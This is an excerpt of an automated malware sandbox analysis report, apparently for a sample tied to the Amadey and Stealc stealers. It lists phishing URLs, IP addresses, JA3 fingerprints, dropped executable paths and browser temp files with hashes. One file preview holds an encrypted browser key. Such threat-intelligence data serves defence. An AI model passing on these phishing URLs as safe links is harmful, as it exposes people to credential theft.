	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
	file.exe	Get hash	malicious	Unknown	Browse	152.195.19.97
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	Amadey, Stealc	Browse	13.107.246.60
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.73
	http://telstra-105864.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	http://att-108937.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://telstra-100127.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://telstra-104325.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	http://bt-107258.weeblysite.com/	Get hash	malicious	Unknown	Browse	150.171.28.10

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	file.exe	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	https://uppholldlgins.mystrikingly.com/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	http://juno-100505.weeblysite.com/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	https://danadompetdigital.zesty.my.id/	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	http://www.chacararecantodosol.com.br/wp-admin/js/milissa/swisssa2024/swisscom/index2.php	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	http://6b5b555f2a01cd6960fbc4a3facee2c37f07856d013f850d27993a35f2.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	http://www.uyapdosyasorgula.com/e-devlet/	Get hash	malicious	Unknown	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	https://bfb76b24ef4f39994db41677dff3eb5ffaa8600730bf804477ddba0f4e.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27 52.165.165.26
	http://telstra-105864.weeblysite.com/	Get hash	malicious	HTMLPhisher	Browse	40.127.169.103 184.28.90.27 52.165.165.26

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Roaming\1000051000\86cd2764f3.exe	file.exe	Get hash	malicious	Amadey, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	Amadey, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\067a40cd-71e9-45b5-8a3c-53c01e0b551a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26657
Entropy (8bit):	6.049495696773292
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nmPvvFoGzG93Yr//N6ONMgl:sMGQ5XMBGmuGzUYrnRbl
MD5:	1E26B7F9623EA1D1DA57FF16EF10A6F3
SHA1:	A8E7BB8A811128123A7F5B6F5A2033CD7E9D5804
SHA-256:	A2FDED8BA92E14FA0069145734766B7F591AC0C4EE301E4927991F507813D175
SHA-512:	ABF42981F4C53CA20DE53AA09E7485D5487E77F7CC0D46480AC95EB7C6D58889F4B855B29370BC46E1253F5F396C4E68E9DE9EB3229285371853AA2A3856E21E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\0a38c131-ec8e-488e-8796-1497aa787baf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21050
Entropy (8bit):	6.064106379290846
Encrypted:	false
SSDEEP:	384:LtMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSWyJuw7KJe1h0FoN6ONMg0a:hMGQ7FCYXGIgtDAWtJ4nqrw7KS/N6ONh
MD5:	4DC4557ACC6B41B7994304510E562684
SHA1:	92035DEB95EF38CE4B94DC3EB23165F9F418BBA4
SHA-256:	5A7282921A5F9D08283234A984996A7F65DF8EF773627EAC60CF10CEB79B961A
SHA-512:	B5225F839D1EB6856C53D29B37375BBE2A26C049F65895B5F6C7ABF115434ABCC439492C596BACC88F3A74682045C5A92D1393BD604388AABCB92F5BA954E662
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"1725151702"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXB

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\0d0a1489-0d60-488a-978d-9c3a75cca4dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26362
Entropy (8bit):	6.051566809303295
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nJUvv4oGzG93Yr4/N6ONMgl:sMGQ5XMBGJAGzUYrWRbl
MD5:	B10D040B14DE196A6C85AA2EFE4C3154
SHA1:	D9E020A02EB9161F1AA57AC47686A57B47FBE92A
SHA-256:	3FA9D2391D52A1BB3A6C239CECCBF7E1B253C0AE982DB8C9048BB73432BE98D6
SHA-512:	17CA315615BCFFA320FB1B9B33DD6F22CFDBB5CBDB56B05690337824B4D2756E13EB7F3F902133A39CEAD83B868AAE3B62E0EC9A6364138131F2B082E5E29723
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\11ecbbbc-1f76-45d3-91ba-eab36cc99a37.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	75041
Entropy (8bit):	6.07250660202955
Encrypted:	false
SSDEEP:	1536:sMGQ5XMBGmSI7ECksE1YCuYIdAfaRemu12d+835v2NB2JranGzUYrERbl:sMrJM8mZM8/ACwH12JU2JrSGzUYrEJl
MD5:	76A5375CC7E4A9CB254AC5C360DF3196
SHA1:	AE131945E2BCB4CEC9A59A2329FFE58C40EC51B5
SHA-256:	7D641774F6EAACCF008E14E2F943DF766D5BD695761B803AF58BF3DB085AE9CA
SHA-512:	AE5E27F79F3DC96504A0F01DA3F945BE4121FFAAF038E5EBD45E18AA27ACA120C32C932DDE37537044EDFE014B4687CB9BBFA4D0E668EE25A14264E3CD7F13CE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\14e2742e-e51b-4a3d-a7ae-10070001b294.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	5.57521412296181
Encrypted:	false
SSDEEP:	48:YuBqDPEFMsFiHC0afLJNxMcGkHB+jDdrxEE/vBqjGYVRCfaJkX6cz2wlR7DB0:Xq8NkC1fLJN+oBIh/vMjjCSJkKczrnq
MD5:	D6E826AB840ADDA8A45716D3C10AAD73
SHA1:	19657B26994B102D3038C7FB6DB3C45C9BE613F8
SHA-256:	C869D56EBE1097CA27CFDB770C94F0577FA0002F6F30FACBAAF59EEF5622129A
SHA-512:	6FFD1E3759974801B5CAB4B7F8649D363B6BBF96886A00AD6DA9D5579CCA89B083E2DA7853D951E6DCA42DF81F9062C223EBB2992196A15C35587281AE3585E0
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"policy":{"last_statistics_update":"13369625292434724"},"profile":{"info_ca

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\17d35daa-f9e3-4c81-a11d-eccfce680849.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21041
Entropy (8bit):	6.064113092391943
Encrypted:	false
SSDEEP:	384:stMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSWWJuw7KJe1h0FoN6ONMg0a:sMGQ7FCYXGIgtDAWtJ4nqnw7KS/N6ONh
MD5:	C444A7C6E875F3E627E2904592041275
SHA1:	CF7A85170C3C8330E82C7B8AC8F532AACD3B7D1A
SHA-256:	382987BA420F5D510692C0D81E5AF379F4C7F9CE67BE468B24B6F1DFC34C6E31
SHA-512:	47186061B65D1E177395EE36DF00670422C95190064FBA67407EC59F767A4A93E3B91DD6C7052091DB0A37B10709014B920B20366B63AD01D49C4325C78EBC63
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\1c171f57-0211-46c1-bd45-6023a6979c39.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	26657
Entropy (8bit):	6.049497651591292
Encrypted:	false
SSDEEP:	768:sMGQ7FCYXGIgtDAWtJ4nmhvvFoGzG93Yr//N6ONMgl:sMGQ5XMBGmwGzUYrnRbl
MD5:	49707292DE9B1474C60C7AF1341CAD5B
SHA1:	93B6CDD1413BC26002F58C27F310DB5C57AB8BBE
SHA-256:	4283C0B6D05766A300E0D5B846599E768BBED5C9B4D6200E41E3E4520E427871
SHA-512:	8A468252FA828209C1163755965D8DB2D2D207B2C23D548F16A4578F4DA90D24AF58ABE35098B0CC28120F449FE00FAC8F55B22EE95D59AEF3E1735228FB9522
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\3188aa6a-41b0-45b5-bd3c-e9f32c6b4583.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	21041
Entropy (8bit):	6.064115885718192
Encrypted:	false
SSDEEP:	384:stMGQ7LBjuYXGIgtDAW5u0TDJ2q03X8NBSWWJuw7KJe1h0FoN6ONMg0a:sMGQ7FCYXGIgtDAWtJ4nqnw7KS/N6ONh
MD5:	33F6A2ADB7C4D98C41F4707ECBC8203B
SHA1:	01DD651FF260945A2B9C15E255DF3C616983BC49
SHA-256:	97B4CF40D75564EE73D98C49787F336C4F759AD0BA8520EADEACD7672965DBDE
SHA-512:	53FAD78158BE4D8B3F35C15F3AD3E5D3BA2F44D23E34B407C0D1237E46B277797E691877D5C3C679F01DE698BDCE5C2357AC3BDABCC69C4640C26D7000198E04
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\4088f7b1-4fb3-4201-871f-2b1c541c4f5e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	5.57521412296181
Encrypted:	false
SSDEEP:	48:YuBqDPEFMsFiHC0afLJNxMcGkHB+jDdrxEE/vBqjGYVRCfaJkX6cz2wlR7DB0:Xq8NkC1fLJN+oBIh/vMjjCSJkKczrnq
MD5:	D6E826AB840ADDA8A45716D3C10AAD73
SHA1:	19657B26994B102D3038C7FB6DB3C45C9BE613F8
SHA-256:	C869D56EBE1097CA27CFDB770C94F0577FA0002F6F30FACBAAF59EEF5622129A
SHA-512:	6FFD1E3759974801B5CAB4B7F8649D363B6BBF96886A00AD6DA9D5579CCA89B083E2DA7853D951E6DCA42DF81F9062C223EBB2992196A15C35587281AE3585E0
Malicious:	false
Preview:	{"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAA8eSn3m0PZypIwxoaFrdO7+pn2E6lFvSncoiSqVa3dMwAAAAAOgAAAAAIAACAAAABTogBcMyXehkRG6ogbAPoQxPcFqlTljFOOa2i01v1piTAAAABWagOWdCcpe9Z1ghJaeFjFiEgVravPwkRGqlPcaF0IQOcenywDGQT/cemx9fvlXqpAAAAASJd26sYmA9L8Dr6LsbLx8LO4RdEbEkDGuJtyEZROFLa7Z2hxJYglihAgBJoN8z/dOXYfjp4CDDTFyPu6ebFAFg=="},"policy":{"last_statistics_update":"13369625292434724"},"profile":{"info_ca

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\46f6a3f7-c35b-4ee1-bb67-d8085721e724.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	75041
Entropy (8bit):	6.0725004610134174
Encrypted:	false
SSDEEP:	1536:sMGQ5XMBGmGI7ECksE1YCuYIdAfaRemu12d+835v2NB2JranGzUYrERbl:sMrJM8m9M8/ACwH12JU2JrSGzUYrEJl
MD5:	1362F0CCB43ACAA343C57A1E68B2E879
SHA1:	6988C9E1F4659D7D5862853C1634BF274B42FB3B
SHA-256:	698050AE518709CFFF60B85AA55695F26993F6A6EAD8B2A033B469BE7462A926
SHA-512:	24CCF7630E30282E3E29DEDF225943A7E810F636E1A14635C7C914212075F4D167D41ED137312257DBCD25C6E354DF017D8957171D36E7C1A8016DDE165758A7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13369625294313295","desktop_session_duration_tracker":{"last_session_end_timestamp":"0"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg8mcY6CmCjTJCmtsWFOcUf5vj04cw0e1yZe2WAl8svFn5IC43jfc+dLnGrEyDwAicHCxNdhlrVa5LEtTgt5u2lAK02pd198r5dr5VYgHj55jUJZGTtlg0NlA7S5AnvB8l7z3olnPV2vfCLsugvBUH7vTVIe9Y151SnmS2Auyvcr5UGYXBvzT2s0L3f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data Kiosk\4e98e6bf-a3b6-4a4a-b916-577627f66283.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3335
Entropy (8bit):	5.599037552816986
Encrypted:	false
SSDEEP:	96:0q8NkC1fLJN+2RBIh/vMjUzgJkKczASDS4S4SDSXI4a:/8Nb9JNZIjzQkKR
MD5:	A3927D147045EE2BFC3EB7C4FDD2F4E1
SHA1:	6B8AEAD1B463EFAF7BE302CE67D3460EB24975D6
SHA-256:	058F9DE778B0432F538B281704C9642AC02D69B0AE5FDA280131287F9D4F15D0
